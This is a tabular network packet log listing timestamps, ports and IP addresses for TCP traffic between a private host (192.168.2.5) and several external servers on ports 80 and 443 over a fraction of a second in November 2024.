Nov 17, 2024 12:35:34.341583014 CET	49825	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:34.341588974 CET	443	49825	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:34.341619968 CET	49825	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:34.341651917 CET	49825	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:34.344207048 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.344218969 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.344224930 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.344229937 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.344234943 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.344264984 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.344280005 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.344285965 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.344289064 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.344347000 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.344347000 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.344778061 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.344790936 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.344800949 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.344813108 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.344822884 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.344824076 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.344837904 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.344855070 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.344866991 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.344875097 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.344886065 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.344897032 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.344902039 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.344907999 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.344918966 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.344930887 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.344944954 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.344944954 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.345012903 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.345985889 CET	443	49825	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:34.346013069 CET	443	49825	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:34.346035957 CET	49825	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:34.346061945 CET	443	49835	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:34.346066952 CET	49825	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:34.346071959 CET	443	49825	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:34.346123934 CET	49825	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:34.346520901 CET	49835	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:34.346534014 CET	443	49835	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:34.347002983 CET	443	49835	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:34.347302914 CET	49835	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:34.347398996 CET	443	49835	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:34.347665071 CET	49835	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:34.374092102 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.374130011 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.374530077 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.377619982 CET	443	49825	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:34.377659082 CET	443	49825	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:34.377688885 CET	49825	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:34.377705097 CET	443	49825	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:34.377731085 CET	49825	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:34.377758980 CET	49825	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:34.391369104 CET	443	49835	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:34.399835110 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.399904013 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.399971962 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.399985075 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.399986029 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.400031090 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.400039911 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.400039911 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.400090933 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.400161982 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.400176048 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.400221109 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.400221109 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.400264025 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.400276899 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.400409937 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.400495052 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.400561094 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.400573969 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.400574923 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.400638103 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.400665998 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.400682926 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.400897026 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.400943995 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.400971889 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.400990009 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.401034117 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.401102066 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.401113987 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.401127100 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.401140928 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.401175022 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.401175022 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.401664972 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.401719093 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.401735067 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.401756048 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.401756048 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.401778936 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.401797056 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.401928902 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.472064018 CET	443	49837	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:34.472687960 CET	49837	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:34.472728968 CET	443	49837	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:34.472867012 CET	443	49836	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:34.473234892 CET	49836	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:34.473340034 CET	443	49836	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:34.473349094 CET	49837	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:34.473359108 CET	443	49837	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:34.473640919 CET	49836	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:34.473668098 CET	443	49836	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:34.475611925 CET	443	49840	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:34.475994110 CET	49840	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:34.476020098 CET	443	49840	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:34.476407051 CET	49840	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:34.476413012 CET	443	49840	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:34.476481915 CET	443	49838	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:34.476797104 CET	49838	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:34.476813078 CET	443	49838	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:34.477189064 CET	49838	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:34.477195024 CET	443	49838	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:34.478236914 CET	443	49839	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:34.478523970 CET	49839	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:34.478555918 CET	443	49839	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:34.478887081 CET	49839	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:34.478893042 CET	443	49839	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:34.494359016 CET	443	49825	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:34.494389057 CET	443	49825	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:34.494441986 CET	49825	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:34.494452953 CET	443	49825	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:34.494488955 CET	49825	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:34.494524002 CET	49825	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:34.518892050 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.519052982 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.519063950 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.519076109 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.519088030 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.519099951 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.519112110 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.519124031 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.519125938 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.519136906 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.519176006 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.519176006 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.519220114 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.519231081 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.519248962 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.519262075 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.519274950 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.519278049 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.519290924 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.519326925 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.519989014 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.520000935 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.520018101 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.520060062 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.520081043 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.520092964 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.520104885 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.520117998 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.520128965 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.520128965 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.520174980 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.520174980 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.520219088 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.520231962 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.520272017 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.520272017 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.520869970 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.520991087 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.600351095 CET	443	49835	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:34.600383043 CET	443	49835	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:34.600409985 CET	443	49837	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:34.600420952 CET	443	49835	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:34.600445032 CET	49835	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:34.600460052 CET	443	49835	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:34.600506067 CET	49835	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:34.600517035 CET	49835	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:34.600671053 CET	443	49837	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:34.600719929 CET	49837	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:34.600986004 CET	49837	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:34.601006985 CET	443	49837	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:34.603749037 CET	443	49838	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:34.603832960 CET	443	49838	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:34.603904009 CET	49838	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:34.604057074 CET	49838	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:34.604075909 CET	443	49838	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:34.604094982 CET	49838	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:34.604101896 CET	443	49838	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:34.604679108 CET	49843	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:34.604727030 CET	443	49843	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:34.604800940 CET	49843	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:34.605010033 CET	49843	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:34.605029106 CET	443	49843	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:34.605144024 CET	443	49836	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:34.605307102 CET	443	49836	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:34.605367899 CET	49836	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:34.605474949 CET	49836	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:34.605483055 CET	443	49836	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:34.605500937 CET	49836	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:34.605506897 CET	443	49836	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:34.606513023 CET	443	49840	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:34.606652021 CET	49844	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:34.606688023 CET	443	49844	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:34.606703997 CET	443	49840	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:34.606765032 CET	49844	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:34.606863022 CET	49840	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:34.606863022 CET	49840	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:34.606884003 CET	49840	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:34.606898069 CET	443	49840	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:34.606905937 CET	49844	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:34.606921911 CET	443	49844	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:34.608290911 CET	49845	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:34.608314037 CET	443	49845	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:34.608431101 CET	443	49839	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:34.608477116 CET	49845	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:34.608505011 CET	443	49839	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:34.608578920 CET	49839	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:34.608596087 CET	49845	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:34.608603001 CET	443	49845	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:34.608679056 CET	49839	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:34.608700991 CET	443	49839	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:34.608715057 CET	49839	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:34.608720064 CET	443	49839	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:34.609462976 CET	49846	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:34.609478951 CET	443	49846	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:34.609637022 CET	49846	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:34.609757900 CET	49846	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:34.609762907 CET	443	49846	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:34.610697985 CET	49847	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:34.610717058 CET	443	49847	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:34.610780954 CET	49847	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:34.611982107 CET	443	49825	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:34.612008095 CET	443	49825	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:34.612066031 CET	49825	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:34.612073898 CET	443	49825	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:34.612111092 CET	49825	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:34.612462997 CET	49847	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:34.612483025 CET	443	49847	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:34.617635012 CET	443	49841	172.64.41.3	192.168.2.5
Nov 17, 2024 12:35:34.617935896 CET	49841	443	192.168.2.5	172.64.41.3
Nov 17, 2024 12:35:34.617947102 CET	443	49841	172.64.41.3	192.168.2.5
Nov 17, 2024 12:35:34.618403912 CET	443	49841	172.64.41.3	192.168.2.5
Nov 17, 2024 12:35:34.618783951 CET	49841	443	192.168.2.5	172.64.41.3
Nov 17, 2024 12:35:34.618869066 CET	443	49841	172.64.41.3	192.168.2.5
Nov 17, 2024 12:35:34.628760099 CET	443	49842	172.64.41.3	192.168.2.5
Nov 17, 2024 12:35:34.629307985 CET	49842	443	192.168.2.5	172.64.41.3
Nov 17, 2024 12:35:34.629318953 CET	443	49842	172.64.41.3	192.168.2.5
Nov 17, 2024 12:35:34.629825115 CET	443	49842	172.64.41.3	192.168.2.5
Nov 17, 2024 12:35:34.630114079 CET	49842	443	192.168.2.5	172.64.41.3
Nov 17, 2024 12:35:34.630228043 CET	443	49842	172.64.41.3	192.168.2.5
Nov 17, 2024 12:35:34.637320042 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.637334108 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.637346983 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.637360096 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.637403011 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.637466908 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.637526989 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.637571096 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.637572050 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.637586117 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.637609005 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.637615919 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.637645960 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.637645960 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.637768030 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.637809038 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.637811899 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.637820005 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.637850046 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.637885094 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.637931108 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.637943029 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.637953997 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.638005018 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.638005018 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.638025999 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.638035059 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.638067961 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.638458967 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.638499022 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.638499022 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.638514996 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.638552904 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.638552904 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.638556957 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.638652086 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.638833046 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.638886929 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.638897896 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.638923883 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.638923883 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.638942003 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.638972044 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.638983965 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.638998032 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.639044046 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.639044046 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.639471054 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.639535904 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.639574051 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.639574051 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.666563034 CET	49841	443	192.168.2.5	172.64.41.3
Nov 17, 2024 12:35:34.691832066 CET	443	49825	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:34.691869020 CET	443	49825	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:34.691925049 CET	49825	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:34.691936970 CET	443	49825	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:34.691970110 CET	49825	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:34.691987991 CET	49825	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:34.719671011 CET	443	49835	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:34.719710112 CET	443	49835	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:34.719868898 CET	49835	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:34.719868898 CET	49835	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:34.719902992 CET	443	49835	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:34.719955921 CET	49835	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:34.726001024 CET	49842	443	192.168.2.5	172.64.41.3
Nov 17, 2024 12:35:34.730581045 CET	443	49825	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:34.730611086 CET	443	49825	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:34.730649948 CET	49825	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:34.730670929 CET	443	49825	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:34.730695963 CET	49825	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:34.730721951 CET	49825	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:34.755929947 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.755965948 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.755976915 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.755989075 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.756011963 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.756041050 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.756131887 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.756174088 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.756185055 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.756212950 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.756212950 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.756253004 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.756329060 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.756341934 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.756402969 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.756433010 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.756452084 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.756464958 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.756500006 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.756500006 CET	49778	80	192.168.2.5	185.215.113.206
